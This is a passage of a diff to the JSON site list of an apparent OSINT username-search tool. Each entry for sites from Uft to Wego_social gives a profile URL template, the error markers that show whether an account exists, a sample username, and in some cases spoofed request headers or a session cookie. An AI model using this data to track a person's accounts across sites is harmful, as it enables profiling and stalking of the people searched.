+ "Uft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://uft.me/persons/{}",
+ "urlMain": "https://uft.me",
+ "usernameON": "darkelectro",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Ukraine-footbal": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувача не знайдено",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "User not found",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ukraine-footbal.at.ua/index/8-0-{}",
+ "urlMain": "https://ukraine-footbal.at.ua",
+ "usernameON": "pavelsamoylov2022",
+ "bad_site": ""
+ },
+ "Ultimate-Guitar": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://ultimate-guitar.com/u/{}",
+ "urlMain": "https://ultimate-guitar.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Universemc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://universemc.us/members/?username={}",
+ "urlMain": "https://universemc.us",
+ "usernameON": "sinnfein",
+ "comments": "RUblock",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Unixforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "unixforum.org - Информация ",
+ "errorTyp��": "message",
+ "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://unixforum.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Unsorted": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Извините, такого пользователя не существует",
+ "errorMsg2": "unsorted ~ ",
+ "errorTyp��": "message",
+ "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://unsorted.me",
+ "usernameON": "DALDON",
+ "bad_site": ""
+ },
+ "Unsplash": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://unsplash.com/@{}/likes",
+ "urlMain": "https://unsplash.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Untappd": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://untappd.com/user/{}",
+ "urlMain": "https://untappd.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Uphillathlete": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://uphillathlete.com/forums/users/{}/",
+ "urlMain": "https://uphillathlete.com",
+ "usernameON": "yamabu",
+ "bad_site": ""
+ },
+ "Uralfishing": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "nowrap=\"nowrap\"> 0 ",
+ "errorTyp��": "message",
+ "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://www.uralfishing.ru",
+ "usernameON": "Mephisto",
+ "bad_site": ""
+ },
+ "Uralrock": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "https://uralrock.ru/forum/member.php?username={}",
+ "urlMain": "https://uralrock.ru",
+ "usernameON": "Cyxapb",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Urlebird": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://urlebird.com/user/{}/",
+ "urlMain": "https://urlebird.com",
+ "usernameON": "chikamaria4",
+ "comments": "zamedlenie",
+ "bad_site": ""
+ },
+ "USA_life": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://usa.life/{}",
+ "urlMain": "https://usa.life",
+ "usernameON": "RinDavis",
+ "bad_site": ""
+ },
+ "Users_ucrazy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://ucrazy.org/u/{}/",
+ "urlMain": "https://ucrazy.org",
+ "usernameON": "aptoc",
+ "bad_site": ""
+ },
+ "Usersoft_ucoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://usersoft.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://usersoft.ucoz.ru",
+ "usernameON": "SRabdrashirup",
+ "bad_site": ""
+ },
+ "Uvelir": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://uvelir.net/member.php?username={}",
+ "urlMain": "https://uvelir.net/",
+ "usernameON": "red",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Uwr1": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorTyp��": "status_code",
+ "url": "http://uwr1.de/forum/profile/{}",
+ "urlMain": "http://uwr1.de",
+ "usernameON": "adam",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Uzhforum": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.uzhforum.com/member.php?username={}",
+ "urlMain": "http://www.uzhforum.com",
+ "usernameON": "kirpicik",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Valday": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Личные данные пользователя ",
+ "errorMsg2": "gen\"> ",
+ "errorMsg3": "UnMask",
+ "errorTyp��": "message",
+ "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://valday.com",
+ "usernameON": "Azs",
+ "bad_site": ""
+ },
+ "Vamber": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://vamber.ru/author/{}/",
+ "urlMain": "https://vamber.ru",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Vampirerave": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}",
+ "urlMain": "https://www.vampirerave.com",
+ "usernameON": "EternalXRage",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Vas3k": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://vas3k.club/user/{}/",
+ "urlMain": "https://vas3k.club",
+ "usernameON": "zahhar",
+ "bad_site": ""
+ },
+ "VC": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null",
+ "errorMsg2": "lastSortingValue\":0,\"total\":0",
+ "errorTyp��": "message",
+ "url": "https://vc.ru/discovery?q={}",
+ "urlMain": "https://vc.ru",
+ "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0",
+ "usernameON": "yuliya",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "bad_site": ""
+ },
+ "Vegascreativesoftware": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Whatever you're looking for.",
+ "errorMsg2": "VEGAS Community | vegascreativesoftware.info",
+ "errorTyp��": "message",
+ "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/",
+ "urlMain": "https://www.vegascreativesoftware.info",
+ "usernameON": "adam",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Velocat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих сообщений не найдено",
+ "errorMsg2": "ВЕЛОСАЙТ - Информация ",
+ "errorTyp��": "message",
+ "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special",
+ "urlMain": "https://velocat.ru",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Velomania": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.velomania.ru/member.php?username={}",
+ "urlMain": "https://forum.velomania.ru/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Velosamara": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg2": "0 пользователей",
+ "errorTyp��": "message",
+ "url": "http://velosamara.ru/forum/memberlist.php?username={}",
+ "urlMain": "http://velosamara.ru",
+ "usernameON": "Morbo",
+ "bad_site": ""
+ },
+ "Venera": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Результатов поиска нет",
+ "errorTyp��": "message",
+ "url": "https://venera.one/search/?q={}&type=core_members",
+ "urlMain": "https://venera.one",
+ "usernameON": "adam",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Venmo": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://venmo.com/{}",
+ "urlMain": "https://venmo.com/",
+ "usernameON": "jenny",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Vero": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Error Page - VERO™ – True Social ",
+ "errorMsg2": "class=\"_not-found-page",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://vero.co/{}",
+ "urlMain": "https://vero.co",
+ "usernameON": "lilyherbertson",
+ "bad_site": ""
+ },
+ "Vezha": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://vezha.com/members/?username={}",
+ "urlMain": "https://vezha.com/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Vgtimes": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "не найден",
+ "errorMsg2": "Сайт сейчас",
+ "errorMsg3": "
",
+ "errorTyp��": "message",
+ "url": "https://vgtimes.ru/user/{}/",
+ "urlMain": "https://vgtimes.ru",
+ "comments": "cf",
+ "usernameON": "Raumkua",
+ "bad_site": ""
+ },
+ "Vidamora": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Meet , in",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.vidamora.com/profile/{}",
+ "urlMain": "https://www.vidamora.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Video_ploud": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://video.ploud.jp/accounts/{}/video-channels",
+ "urlMain": "https://video.ploud.jp",
+ "usernameON": "lwflouisa",
+ "bad_site": ""
+ },
+ "Videoforums": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://videoforums.ru/member.php?username={}",
+ "urlMain": "http://videoforums.ru",
+ "usernameON": "carlo",
+ "bad_site": ""
+ },
+ "Videogamegeek": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Profile | VideoGameGeek ",
+ "errorMsg2": "Error: User does not exist.",
+ "errorMsg3": "not found",
+ "errorTyp��": "message",
+ "url": "https://videogamegeek.com/user/{}",
+ "urlMain": "https://videogamegeek.com",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Videohive": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://videohive.net/user/{}",
+ "urlMain": "https://videohive.net",
+ "usernameON": "zedbadley",
+ "bad_site": ""
+ },
+ "Videosift": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "You Seem Lost",
+ "errorMsg2": "Not Found",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://videosift.com/member/{}",
+ "urlMain": "https://videosift.com",
+ "usernameON": "adam",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Vimeo": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://vimeo.com/{}",
+ "urlMain": "https://vimeo.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Virgool": {
+ "country": "🇮🇷",
+ "country_klas": "IR",
+ "errorMsg": "۴۰۴",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://virgool.io/@{}",
+ "urlMain": "https://virgool.io/",
+ "usernameON": "blue",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Virtualireland": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия ",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.virtualireland.ru/member.php?username={}",
+ "urlMain": "https://www.virtualireland.ru",
+ "usernameON": "Lee",
+ "bad_site": ""
+ },
+ "Vishivalochka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://vishivalochka.ru/index/8-0-{}",
+ "urlMain": "http://vishivalochka.ru",
+ "usernameON": "Caliopa",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Vivino": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.vivino.com/users/{}",
+ "urlMain": "https://www.vivino.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "VK": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://vk.com/{}",
+ "urlMain": "https://vk.com/",
+ "usernameON": "smith",
+ "bad_site": ""
+ },
+ "Vkaline": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://www.vkaline.ru/forum/member.php?username={}",
+ "urlMain": "http://www.vkaline.ru",
+ "usernameON": "Varelik",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Vkrugudrusey": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "\\W",
+ "errorTyp��": "response_url",
+ "url": "http://{}.vkrugudrusey.ru/x/blog/all/",
+ "urlMain": "http://vkrugudrusey.ru",
+ "usernameON": "irina",
+ "comments": "Archive",
+ "bad_site": 1
+ },
+ "Vlab": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://vlab.su/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://vlab.su",
+ "usernameON": "Sword93",
+ "bad_site": ""
+ },
+ "Vladimirka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://www.vladimirka.ru/board/profile/{}",
+ "urlMain": "http://www.vladimirka.ru",
+ "usernameON": "anyazxc1",
+ "bad_site": ""
+ },
+ "Vladmama": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация |",
+ "errorTyp��": "message",
+ "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://vladmama.ru",
+ "usernameON": "Lenok2803",
+ "bad_site": ""
+ },
+ "Vlmi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией ",
+ "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией ",
+ "errorTyp��": "message",
+ "url": "https://vlmi.biz/members/?username={}",
+ "urlMain": "https://vlmi.biz",
+ "usernameON": "mixa",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Voices": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.voices.com/actors/{}",
+ "urlMain": "https://www.voices.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Voicesevas": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://voicesevas.ru/user/{}/",
+ "urlMain": "http://voicesevas.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Volga-gaz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://volga-gaz.nnov.ru",
+ "usernameON": "serg6033",
+ "bad_site": ""
+ },
+ "Volkodavcaoko": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "профиль забанен или удален",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://volkodavcaoko.forum24.ru/?32-{}",
+ "urlMain": "https://volkodavcaoko.forum24.ru",
+ "usernameON": "itaka",
+ "bad_site": ""
+ },
+ "Volkswagen": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://volkswagen.lviv.ua/members/?username={}",
+ "urlMain": "http://volkswagen.lviv.ua",
+ "usernameON": "scirocco",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Volleybox": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://volleybox.net/ru/user/{}",
+ "urlMain": "https://volleybox.net",
+ "usernameON": "volleyjerseys",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Votetags": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Page not found",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://www.votetags.info/author/{}/",
+ "urlMain": "https://www.votetags.info/",
+ "usernameON": "safeclothes",
+ "bad_site": ""
+ },
+ "VSCO": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://vsco.co/{}",
+ "urlMain": "https://vsco.co/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Vse": {
+ "country": "🇰🇿",
+ "country_klas": "KZ",
+ "errorMsg": "Поиск не дал результатов",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1",
+ "urlMain": "https://vse.kz",
+ "usernameON": "vturekhanov",
+ "comments": "old_feb_2025",
+ "bad_site": 1
+ },
+ "Vulengate": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.vulengate.com/members/?username={}",
+ "urlMain": "https://www.vulengate.com",
+ "usernameON": "dmanskits",
+ "comments": "cf",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Vulgo_rolka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}",
+ "urlMain": "https://vulgo.rolka.me",
+ "usernameON": "tania25297",
+ "bad_site": ""
+ },
+ "Vyshyvanka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувача не знайдено",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "User not found",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://vyshyvanka.ucoz.ru",
+ "usernameON": "Sirena",
+ "bad_site": ""
+ },
+ "Vzvd": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://vzvd.ru/forum/index.php?p=/profile/{}",
+ "urlMain": "https://vzvd.ru",
+ "usernameON": "Troll",
+ "bad_site": ""
+ },
+ "W3challs": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "404 Page not found – W3Challs Hacking Challenges ",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://w3challs.com/profile/{}",
+ "urlMain": "https://w3challs.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "W3schools": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "problem",
+ "errorMsg2": "0 results",
+ "errorTyp��": "message",
+ "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://w3schools.invisionzone.com",
+ "usernameON": "DubaiSouthVillas",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "W7forums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The specified member cannot be found. Please enter a member's entire name.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://www.w7forums.com/members/?username={}",
+ "urlMain": "https://www.w7forums.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wakatime": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://wakatime.com/@{}",
+ "urlMain": "https://wakatime.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wanelo": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://wanelo.co/{}",
+ "urlMain": "https://wanelo.co",
+ "usernameON": "adam",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Warcraft3ft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://warcraft3ft.clan.su/index/8-0-{}",
+ "urlMain": "https://warcraft3ft.clan.su",
+ "usernameON": "Inods",
+ "bad_site": ""
+ },
+ "Warhammercommunity": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://warhammercommunity.com/forum/members/?username={}",
+ "urlMain": "https://warhammercommunity.com",
+ "usernameON": "harleyquinn",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Warriorforum": {
+ "country": "🇦🇺",
+ "country_klas": "AU",
+ "errorTyp��": "status_code",
+ "url": "https://www.warriorforum.com/members/{}.html",
+ "urlMain": "https://www.warriorforum.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Wasm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://wasm.in/members/?username={}",
+ "urlMain": "https://wasm.in",
+ "usernameON": "entropy",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Wattpad": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorMsg": "userError-404",
+ "errorMsg2": "Why do I have to complete a CAPTCHA?",
+ "errorTyp��": "message",
+ "url": "https://www.wattpad.com/user/{}",
+ "urlMain": "https://www.wattpad.com/",
+ "usernameON": "Dogstho7951",
+ "bad_site": ""
+ },
+ "Wc3": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://wc3.3dn.ru/index/8-0-{}",
+ "urlMain": "http://wc3.3dn.ru",
+ "usernameON": "Terror",
+ "bad_site": ""
+ },
+ "Weasyl": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.weasyl.com/~{}",
+ "urlMain": "https://www.weasyl.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Webhamster": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://webhamster.ru/punbb/userlist.php?username={}",
+ "urlMain": "https://webhamster.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Weblancer": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "https://www.weblancer.net/users/{}/",
+ "urlMain": "https://www.weblancer.net",
+ "usernameON": "alraa",
+ "bad_site": ""
+ },
+ "Webonrails": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://webonrails.ru/user/{}/",
+ "urlMain": "https://webonrails.ru",
+ "usernameON": "rediska",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "WebOS": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://webos-forums.ru",
+ "usernameON": "tessi",
+ "bad_site": ""
+ },
+ "Weburg": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": ">К сожалению в разделе",
+ "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå",
+ "errorMsg3": "ничего не найдено",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://weburg.net/search?where=10&search=1&q={}",
+ "urlMain": "https://weburg.net",
+ "usernameON": "adam",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Weedmaps": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors ",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://weedmaps.com/brands/{}",
+ "urlMain": "https://weedmaps.com",
+ "usernameON": "adams",
+ "bad_site": ""
+ },
+ "Weforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "World Economic Forum",
+ "errorMsg2": "404: Page cannot",
+ "errorTyp��": "message",
+ "url": "https://www.weforum.org/people/{}",
+ "urlMain": "https://www.weforum.org",
+ "usernameON": "adam-leismark",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "bad_site": ""
+ },
+ "Wego_social": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://wego.social/{}",
+ "urlMain": "https://wego.social",
